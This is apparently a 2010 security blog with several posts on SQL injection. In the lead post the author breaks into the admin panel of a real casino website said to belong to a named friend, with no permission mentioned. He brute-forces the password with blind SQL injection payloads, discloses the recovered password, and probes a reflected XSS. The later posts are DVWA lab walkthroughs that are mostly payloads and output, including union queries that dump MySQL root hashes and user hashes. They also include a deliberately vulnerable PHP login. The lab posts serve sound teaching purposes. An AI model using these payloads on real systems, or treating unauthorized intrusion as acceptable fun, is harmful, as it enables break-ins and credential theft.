Hacking a Casino!!

July 4, 2010 at 11:50 pm (.NET, Programming, Security, SQL, SQL Injection)

Hey,

So I was playing around with a friends website the other day and managed to break into the ‘admin’ area. I thought I should write a quick post to explain how I managed to do this.

First of all, I am not going to disclose the link to you all for obvious reasons so the link in the examples will actually be commented out. Anyway, a little about the website in question. It is a casino website that is written in mainly Flash with a little ASP.net relying on an MSSQL database. The main casino login was protected pretty well. I decided to fuzz for other directories and found the obvious one: /admin/. This was the login page to the backend of the casino, much more fun than the frontend login, at least that’s what I thought 🙂 So, onto the hack…

When you visit:

http://www.xxx.co.uk/admin/login.aspx

You are presented with a login page that simply has a Username and Password form with a login and reset button. Right underneath the login/reset buttons was a string that said “username not found” or “password not found”, depending on which was correct or not. This enabled me to test the SQL injection and see if my queries were true or false. My friends name was Nigel Davies, I tried a combination of usernames that I thought he would use and stumbled across: “nigel_d”. How did I know that this was the correct username? Well I first of all started entering usernames and passwords, not to try and guess them but to see how the form reacted to different inputs, I got the following when I entered an incorrect username:

“username not found”

No surprises there then, however when I tried the “nigel_d” username and a random password I was presented with:

“wrong password”

Bingo! We now know the username “nigel_d” is valid 🙂

I then went on to test for SQL injections, my first point of call was the normal:

Username: ‘
Password: ‘

And I received the following page back:

Server Error in ‘/’ Application.
Unclosed quotation mark after the character string ”’.
Incorrect syntax near ”’.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ”’.
Incorrect syntax near ”’.

Source Error:

Line 29: con.Open()
Line 30: cmdSelect = New SqlCommand(“Select * From tb_CP_control where username= ‘” & username & “‘”, con)
Line 31: rd = cmdSelect.ExecuteReader()
Line 32: rd.Read()
Line 33: If rd.HasRows = True Then

Stack Trace:

[SqlException (0x80131904): Unclosed quotation mark after the character string ”’.
Incorrect syntax near ”’.]
System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +1950890
System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +4846875
System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +194
System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +2392
System.Data.SqlClient.SqlDataReader.ConsumeMetaData() +33
System.Data.SqlClient.SqlDataReader.get_MetaData() +83
System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) +297
System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async) +954
System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, DbAsyncResult result) +162
System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) +32
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) +141
System.Data.SqlClient.SqlCommand.ExecuteReader() +89
ASP.admin_login_aspx.__Render__control1(HtmlTextWriter __w, Control parameterContainer) in e:\domains\c\xxx.co.uk\user\htdocs\admin\login.aspx:31
System.Web.UI.Control.RenderChildrenInternal(HtmlTextWriter writer, ICollection children) +256
System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +19
System.Web.UI.Page.Render(HtmlTextWriter writer) +29
System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +27
System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +99
System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +25
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1266

Version Information: Microsoft .NET Framework Version:2.0.50727.3603; ASP.NET Version:2.0.50727.3082

Woohoo, look at all that juicy information! What have we got here then, the first interesting part is:

Line 29: con.Open()
Line 30: cmdSelect = New SqlCommand(“Select * From tb_CP_control where username= ‘” & username & “‘”, con)
Line 31: rd = cmdSelect.ExecuteReader()
Line 32: rd.Read()
Line 33: If rd.HasRows = True Then

This shows us the actual SQL statement being executed:

Select * From tb_CP_control where username= ‘” & username & “‘

This is almost certainly vulnerable to SQL injection attacks 🙂 The next interesting part is this:

Source File: e:\domains\c\xxx.co.uk\user\htdocs\admin\login.aspx Line: 31

Path disclosure. This tells me that it is a shared hosting environment because of the order of the path, domains, first letter of the domains, domain itself, so on and so forth. Also looking at the whois information for the domain shows it is registered and hosted with a fairly well known hosting company. That would be interesting if the scope of the test was the whole server itself.. however I am just playing with my friends website, so we will get back on track…

The problem we have here, is the Username field is vulnerable to SQL injection, however the Password field is not. So the only option I can think of, is to use the username field to bruteforce the password.. sounds good, let’s give it a try…

So let’s try bruteforcing the password then (I am using the FireFox plugin HackBar to aid me in this, so the SQL will be a copy and paste from what I enter in there):

user=’ or 1=1 and password like ‘a%’– &passwd=a

What happens here is we broaden the select statement to include all users with the (‘ or 1=1) meaning true, then we narrow the select statement so we only receive the ones with a password matching our pattern using the like statement. Like uses two different wild cards ‘_’ for single letters and ‘%’ for any strings (without the quotes).

So we are testing to see if any users passwords begin with ‘a’. We can now go through all characters a-zA-Z0-9 to find ones that match and that will make up our password. There is a way to speed things up here, such as using upper(password) and then passing ‘A%’ and &passwd=A. This then means we only have to go through characters A-Z0-9, which is a lot quicker. So moving on, after we enter the SQL statement above we get the following returned on the page:

“username not found”

Which means the letter a doesn’t match any users first character of their passwords. Let’s move onto the next character:

user=’ or 1=1 and upper(password) like ‘B%’– &passwd=B

Which gives us:

“username not found”

Still no characters matching 😦 moving on and leaving out a few to keep the post short:

user=’ or 1=1 and upper(password) like ‘N%’– &passwd=N

This gives us something slightly different:

“wrong password”

Now this means it matched the first character to a user’s password, however its incomplete so the wrong password message is displayed. Now we know that the first character of the password is an ‘n’. Onto the 2nd character of the password:

user=’ or 1=1 and upper(password) like ‘NA%’– &passwd=NA

Which in return gives us:

“username not found”

Now we just iterate through all the chracters until we get the “wrong password” string returned:

user=’ or 1=1 and upper(password) like ‘NI%’– &passwd=NI

Which gives us:

“wrong password”

Excellent, we now have the second character. We basically repeat this process until it logs us into the admin area. What happens is when you hit the end character of the password, the password is correct and when you execute the statement it logs you in, I managed to get into the admin area with the following statement:

user=’ or 1=1 and password like ‘niggle%’– &passwd=niggle

So it turns out his password was ‘niggle’ 🙂 When I was doing this, I noticed something pretty bad about the way the message was displayed on the page (when you got either “wrong username” or “wrong password”) take a look at the URL that you get when it returns these strings:

http://www.xxx.co.uk/admin/index.asp?msg=wrong%20password

I smell, XSS… let’s give it a whirl 🙂

http://www.xxx.co.uk/admin/index.asp?msg=%22zoidberg%20pwnz%20j00%22

And low and behold, “zoidberg pwnz j00” gets returned as the string on the page, haha. Returning to the SQL injection, here are a few more tricks to speed things up, if you wanna guess the password as a whole string you could use the following method:

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,3) = ‘abc’ ) = 1 — &passwd=test

Which returns:

“username not found”

Because the password doesn’t match, however, if we try characters from the real password:

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,3) = ‘nig’ ) = 1 — &passwd=test

We get:

“wrong password”

Excellent, so we can test it with this:

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,5) = ‘niggl’ ) = 1 — &passwd=test

“wrong password”

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,6) = ‘niggle’ ) = 1 — &passwd=test

“wrong password”

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,6) = ‘nigglea’ ) = 1 — &passwd=test

“username not found”

So as you can see that definatley confirms that ‘niggle’ is the password. Also a quick way to check the password length before doing the bruteforce so you know how many characters there are is:

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 1 –&passwd=test

“username not found”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 2 –&passwd=test

“username not found”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 5 –&passwd=test

“username not found”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 6 –&passwd=test

“wrong password”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 7 –&passwd=test

“username not found”

So as you can see from the above statements 5 is false, 6 is true and 7 is false, meaning the password length is 6 characters long, which ties in with the password being ‘niggle’.

I had a lot of fun playing around with this site, hope it helps someone out. Until the next time…

Permalink Leave a Comment

SQLi: Silly PHP Authentication…

June 18, 2010 at 10:37 pm (Programming, Security, SQL, SQL Injection)

Hey,

I wrote a silly little PHP based authentication page. It uses a MySQL database to store the username and password, presents the user with a login prompt where they can enter their login credentials. If they don’t have any then they can take advantage of it using SQL Injection, let’s take a quick look at it. First you will need to create a MySQL database:

mysql> create table userauth (id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT, username VARCHAR(16) NOT NULL, pswd VARCHAR(32) NOT NULL, PRIMARY KEY(id));
Query OK, 0 rows affected (0.00 sec)
mysql> insert into userauth (id, username, pswd) values (1, "zoidberg", "password");
Query OK, 1 row affected (0.00 sec)
mysql> select * from userauth;
+----+----------+----------+
| id | username | pswd |
+----+----------+----------+
| 1 | zoiddberg | password |
+----+----------+----------+
1 row in set (0.00 sec)
mysql>

Now to create the login page:

<?php
function authenticate_user()
{
header('WWW-Authenticate: Basic realm="Private Area"');
header("HTTP/1.0 401 Unauthorized");
exit;
}
if (!isset($_SERVER['PHP_AUTH_USER'])) {
authenticate_user();
} else {
mysql_connect("database_host", "database_username", "database_password") or die("Can't connect to the fucking database, blaaad!");
mysql_select_db("database_name") or die("Can't select da fucking database b0ss!");
$query = "SELECT username, pswd FROM table_name WHERE username='$_SERVER[PHP_AUTH_USER]' AND pswd='$_SERVER[PHP_AUTH_PW]'";
$result = mysql_query($query);
if (mysql_num_rows($result) == 0) {
authenticate_user();
} else {
echo "Welcome to the Private Area... :-)";
}
}
?>

Now to take advantage 🙂 Navigate to the page in your browser, and enter the following in the username field:

' OR '1'='1'--

To understand this let’s take a look at the MySQL query:

$query = "SELECT username, pswd FROM table_name WHERE username='$_SERVER[PHP_AUTH_USER]' AND pswd='$_SERVER[PHP_AUTH_PW]'";

So that is what the query looks like, well when we inject ‘ OR ‘1’=’1′– into the username field, it then looks like this:

$query = "SELECT username, pswd FROM table_name WHERE username='' OR '1'='1'-- AND pswd='$_SERVER[PHP_AUTH_PW]'";

Remember that — is a MySQL comment, so everything after it gets left out of the query that gets sent to the database. So our query which gets passed to the database looks like this:

$query = "SELECT username, pswd FROM table_name WHERE username='' OR '1'='1'--

What happens here is, select username and password from table_name where username is nothing OR true.. this will result in a successful login and give you access to the Private Area 🙂 very simple and contrived example.

Permalink 1 Comment

SQL Injection DVWA Continued…

June 13, 2010 at 7:59 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey,

So continuing on from the low level, let’s take a look at the medium level. Here is the code:

<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid="SELECT first_name, last_name FROM users WHERE user_id = $id";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>

So as you can see it is exactly the same apart from the:

$id = mysql_real_escape_string($id);

The only thing that this prevents us from doing compared to the low level is, using quotes. So we can simply own the level in the same manner just removing the quotes we used, like so:

ID: 1 union all select user,password from dvwa.users--
First name: admin
Surname: admin
ID: 1 union all select user,password from dvwa.users--
First name: admin
Surname: bf03145925aadc81e733e788aaa58fe3
ID: 1 union all select user,password from dvwa.users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1 union all select user,password from dvwa.users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1 union all select user,password from dvwa.users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1 union all select user,password from dvwa.users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

As you can see exactly the same way, the reason that we can’t use quotes is pretty self explanatory from looking at this page.

Let’s talk about the high level then, first let’s take a look at the code:

<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>

This has a lot more sanitization and as far as I am aware it is not exploitable. The problem is the following bit of code:

// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

I know I can bypass the mysql_real_escape_string($id) from the medium level. I am just not sure and have not found a way to successfully circumvent the stripslashes() and is_numeric() functions. If anyone has a way to circumvent this please let me know!

Permalink 7 Comments

SQL Injection DVWA

June 11, 2010 at 9:19 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey,

So there are 3 SQL Injection levels on the Damn Vulnerable Web Application (Low, Medium and High). In this post I will explain how to defeat the low level, let’s take a look at the code first:

<?php

if(isset($_GET['Submit'])){

// Retrieve data

// ERROR: PHP Notice: Undefined index: id
$id=$_GET['id'];

$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num=mysql_numrows($result);

$i=0;

while ($i < $num) {

$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");

echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';

$i++;
}
}
?>

So the above code is vulnerable to SQL Injection, let’s take a closer look at the following snippet:

$id=$_GET['id'];
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";

As you can see there is no sanitization used, the variable is simply inserted straight into the SQL query. This is the most basic type of SQL Injection you may come across. Let’s confirm it is definatley vulnerable to SQL Injection:

UserID: '

The page returned spits out the following error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

This confirms to us it is vulnerable to SQL Injection, first thing to do is find out how many columns there are:

UserID: ' ORDER BY 1--
UserID: ' ORDER BY 2--

These simply return the same page…

UserID: ' ORDER BY 3--

Then this gives us an invaluable error message:

Unknown column '3' in 'order clause'

What does this tell us? Well it tells us that there are two columns, which are obviously the first_name and last_name columns as when you pass the UserID: form a valid User ID (1) for example you get this:

ID: 1
First name: admin
Surname: admin

Right, now its time to find out the database name, table name, column name and anything else useful and interesting. First thing first let’s find out the database version:

ID: ' union all select 1,@@VERSION--
First name: 1
Surname: 5.1.37-1ubuntu5.1

So it is using MySQL 5.1.37-1 on Ubuntu. Lets find the user the database is running as and the name of the database we are dealing with:

ID: ' union all select user(),database()--
First name: root@localhost
Surname: dvwa

Ok so the user is root (awesome!!) and the database we are concerned with is ‘dvwa’ 😉 Right OK, since the user is root let’s see what we can gleam:

ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: debian-sys-maint
Surname: *65BFD4D79D51FF884D573209BC7DE1D1A3D0AA4E

Wow! We got the root passord hash 🙂 So as you can see because the application is using the root user, we can pretty much own the whole system from here. However I will focus on the DVWA level 🙂 So, we know the database name is dvwa, and the columns are first_name and last_name. Let’s find out the table name:

ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: CHARACTER_SETS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLLATIONS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLLATION_CHARACTER_SET_APPLICABILITY
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLUMNS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLUMN_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ENGINES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: EVENTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: FILES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: GLOBAL_STATUS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: GLOBAL_VARIABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: KEY_COLUMN_USAGE
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PARTITIONS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PLUGINS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PROCESSLIST
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PROFILING
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: REFERENTIAL_CONSTRAINTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ROUTINES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SCHEMATA
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SCHEMA_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SESSION_STATUS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SESSION_VARIABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: STATISTICS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLE_CONSTRAINTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLE_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TRIGGERS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: USER_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: VIEWS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: guestbook
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: users
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: columns_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: db
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: event
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: func
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: general_log
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_category
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_keyword
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_relation
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_topic
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: host
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ndb_binlog_index
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: plugin
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: proc
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: procs_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: servers
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: slow_log
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: tables_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_leap_second
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_name
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_transition
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_transition_type
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: user
Surname: ޭ��

Bingo, we got all the tables from information_schema.tables :-), so we can hazard a guess that the two tables in the ‘dvwa’ database are; users and guestbook. Before I move on an finish this level, I want to show you some other ways to grab databases, tables and columns:

ID: ' union select group_concat(schema_name),2 from information_schema.schemata--
First name: information_schema,dvwa,mysql
Surname: 2

Or:

ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: information_schema
Surname: ޭ��
ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: dvwa
Surname: ޭ��
ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: mysql
Surname: ޭ��

Also I might as well mention the other way to find the tables too:

ID: ' union all select table_name,0xdeadbeef from information_schema.tables where table_schema=database()--
First name: guestbook
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables where table_schema=database()--
First name: users
Surname: ޭ��

Right so back to it, recap; we know the database name is dvwa and we have two tables users and guestbook. Last crucial bit of information is the column names, lets grab them:

ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: comment_id
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: comment
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: user_id
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: first_name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: last_name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: user
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: password
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: avatar
Surname: ޭ��

Ok so we have everything we need now, lets get all the usernames and password hashes for this level:

ID: ' union all select user, password from dvwa.users--
First name: admin
Surname: bf03145925aadc81e733e788aaa58fe3
ID: ' union all select user, password from dvwa.users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: ' union all select user, password from dvwa.users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' union all select user, password from dvwa.users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' union all select user, password from dvwa.users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Jon done 🙂 Just to put this into perspective, if you goto Milw0rm, Click on the cracker link and you can sumbit your hash to see if its already been cracked, take the user ‘gordonb’ for example:

-::TYPE -::HASH -::PASS -::STATUS
md5 e99a18c428cb38d5f260853678922e03 abc123 cracked

My next post will explain how to beat it on Medium difficulty and then to talk about the High difficulty level. So until the next time…

Permalink 8 Comments

SQL Injection Fun…

June 3, 2010 at 2:07 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey guys,

So I have been playing around with the, Damn Vulnerable Web Application. Which you can find here, however I decided to use the Web Security Dojo v1.0 live cd from here. The first level was an SQL Injection or Web Form Brute force. I decided to play around with the SQL Injection. So, lets take a look at the PHP source code behind the page:

<?php

if( isset( $_GET['Login'] ) ) {

$user = $_GET['username'];

$pass = $_GET['password'];
$pass = md5($pass);

$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$i=0; // Bug fix.
$avatar = mysql_result( $result, $i, "avatar" );

// Login Successful
echo "<p>Welcome to the password protected area " . $user . "</p>";
echo '<img src="' . $avatar . '" />';
} else {
//Login failed
echo "<pre><br>Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

As you can see there is no sanitization used on the username or password variable. However the md5( $passwd ) does make it rather interesting injecting into that variable, I have yet to find out a way to take control of the password field because of this. So I decided to play with the username variable. Let’s take a closer look at how the query is constructed:

$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";

So as you can see the $user variable is passed straight to the query without any sanitization (e.g. stripslashes(), mysql_real_escape_string()). So we can inject SQL statements into the username field on the web page. So the first thing I try is:

username: '
password: '

A single quote, which gives us the following error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '3590cb8af0bbb9e78c343b52b93773c9'' at line 1

Beautiful, we have confirmed it – it is vulnerable to SQL Injections, ok so the interesting part..

if( $result && mysql_num_rows( $result ) == 1 ) {

Basically tells us that we need to supply a query that returns one row only, if it returns one row then the avatar will be displayed along with the “restricted area”.

Let’s try a couple of SQL statements like the following:

username: admin' --
username: ' OR user='admin' --
username: ' OR 1=1 limit 0,1 --

Or perhaps like this:

username: a' or user LIKE 'a%' limit 0,1--
password: a

Let’s look at each of these individually, admin’ — basically completes the sql query by passing the user ‘admin’ and then commenting the rest of the SQL statement out using ” — “. So when this is passed to the database, the actually query is:

$qry = "SELECT * FROM `users` WHERE user='admin' -- AND password='$pass';";

Which gets interpreted as:

SELECT * FROM `users` WHERE user='admin' --;

The same happens with: ‘ OR user=’admin’ — it’s just a longer logical query that looks like:

SELECT * FROM `users` WHERE user='' OR user='admin' --;

Also with: ‘ OR 1=1 limit 0,1 — is the same, its logical, but says 1=1 which is true, which would display the whole table however that would result in the bottom part of the if loop being executed, which gives us incorrect username or password. So we use the limit clause, to limit it to one row: limit 0,1. This then gets passed to the database looking like:

SELECT * FROM `users` WHERE user='' OR 1=1 limit 0,1 --;

The possibilities here are endless, however we got the result we wanted. It displayed the avatar for the user and allowed us into the restricted admin area. Another thought I had when playing with this was to write a script that brute forced the usernames in the SQLi statement to get access to all user accounts. It would be a pretty simply task in any scripting language, here is what I would do:

http://localhost/dvwa/vulnerabilities/brute/?username=admin%27+--%20&password=&Login=Login#

That is the URL, I would compose a list of usernames into users.txt. Then using Python, perl whatever your familiar with, open users.txt then read in the first username to $user and make a GET request to:

http://localhost/dvwa/vulnerabilities/brute/?username=$user%27+--%20&password=&Login=Login#

If the user is correct, you will get the avatar and restricted area access otherwise the string:

"Username and/or password incorrect."

will be displayed which you can check for in your code. Nice and simple, you can even get rid of the SQL statment and add a password.txt file load up a passsword when you load the user and just brute force the login page..

Anyway, onto the next fun level.

Permalink 5 Comments